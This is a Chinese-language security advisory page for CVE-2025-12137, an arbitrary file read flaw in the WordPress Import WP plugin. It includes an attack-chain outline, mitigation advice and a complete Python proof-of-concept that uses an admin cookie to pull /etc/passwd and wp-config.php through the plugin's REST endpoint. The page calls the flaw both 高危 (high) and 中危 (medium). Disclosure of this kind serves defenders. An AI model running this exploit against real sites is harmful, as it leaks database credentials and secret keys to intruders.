IPBUF安全漏洞报告
English
CVE-2025-12137 CVSS 4.9 中危

CVE-2025-12137 WordPress Import WP插件任意文件读取漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-12137
漏洞类型
任意文件读取
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Import WP – Export and Import CSV and XML files to WordPress

相关标签

CVE-2025-12137任意文件读取路径遍历WordPress插件漏洞REST API安全Import WPCWE-36WordPress安全敏感信息泄露wp-config.php

漏洞概述

CVE-2025-12137是WordPress Import WP插件中的一个高危安全漏洞。该插件用于将CSV和XML文件导入WordPress系统,在2.14.16及之前的所有版本中存在任意文件读取漏洞。漏洞根源在于插件的REST API端点设计缺陷,在attach_file()函数处理file_local动作时,直接接受用户提供的绝对文件路径而未进行充分的安全验证。攻击者利用local_url参数可以指定任意系统文件路径,结合管理员权限即可读取服务器上的敏感文件,包括但不限于wp-config.php配置文件、.htaccess路由规则、数据库凭证文件以及其他系统配置文件。由于WordPress配置文件中通常包含数据库用户名、密码以及安全密钥等敏感信息,一旦被泄露将导致严重的安全后果。此漏洞需要认证才能利用,但鉴于WordPress站点的管理员账户被攻陷的情况并不罕见,漏洞的实际威胁程度不容忽视。

技术细节

该漏洞属于经典的路径遍历(Path Traversal)安全问题,具体体现在CWE-36分类中。插件在处理文件导入请求时,attach_file()函数接收local_url参数作为文件路径,但未对该路径进行规范化验证或边界限制。攻击者可以通过构造包含敏感文件绝对路径的请求,如/etc/passwd或完整的wp-config.php路径,直接获取目标文件内容。漏洞代码位置位于WordPress插件目录下的class/Common/Filesystem/Filesystem.php文件的第56行和第212行附近。REST API端点未实施严格的权限校验和路径白名单机制,导致高权限用户可以绕过正常业务逻辑访问任意文件。CVSS 3.1评分4.9(AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)表明该漏洞可通过网络利用,复杂度低,但需要高权限认证,对机密性影响严重。攻击成功后可获取配置文件、凭据、系统文件等敏感信息,为进一步攻击提供情报支持。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点管理员账户访问权限,可通过钓鱼、凭据泄露、暴力破解或其他攻击手段实现
STEP 2
步骤2
攻击者构造恶意REST API请求,指定action为file_local,local_url参数指向目标敏感文件(如wp-config.php)
STEP 3
步骤3
插件attach_file()函数接收请求后,未验证文件路径合法性,直接读取指定路径的文件内容
STEP 4
步骤4
服务器将文件内容通过API响应返回给攻击者,包含数据库凭据、安全密钥等敏感配置信息
STEP 5
步骤5
攻击者利用获取的数据库凭据进行横向移动,或使用安全密钥进行进一步的系统入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12137 PoC - WordPress Import WP Arbitrary File Read # Target: WordPress site with Import WP plugin <= 2.14.16 # Auth: Requires administrator-level access def exploit_cve_2025_12137(target_url, cookie): """ Exploit for CVE-2025-12137 Reads arbitrary files from the server via path traversal """ endpoint = f"{target_url}/wp-json/importwp/v1/file" # Target files to read target_files = [ "/etc/passwd", "/var/www/html/wp-config.php", "/etc/hostname", "/etc/hosts" ] headers = { "Content-Type": "application/json", "Cookie": cookie } for file_path in target_files: payload = { "action": "file_local", "local_url": file_path } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully read: {file_path}") print(response.text[:500]) print("-" * 50) else: print(f"[-] Failed to read: {file_path} (Status: {response.status_code})") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print("Example: python exploit.py http://target.com 'wordpress_logged_in_xxx=xxx'") sys.exit(1) exploit_cve_2025_12137(sys.argv[1], sys.argv[2])

影响范围

Import WP plugin <= 2.14.16 (all versions up to 2.14.16)

防御指南

临时缓解措施
作为临时缓解措施,可采取以下行动:首先,立即禁用或删除Import WP插件,直至完成安全更新;其次,如果必须使用该插件,应限制管理员账户数量,确保只有可信人员拥有管理权限;同时,可通过Web应用防火墙(WAF)规则限制对/wp-json/importwp/v1/端点的访问,对异常的文件路径请求进行阻断;最后,建议审查所有管理员账户的登录活动,检查是否存在未授权的敏感文件访问记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表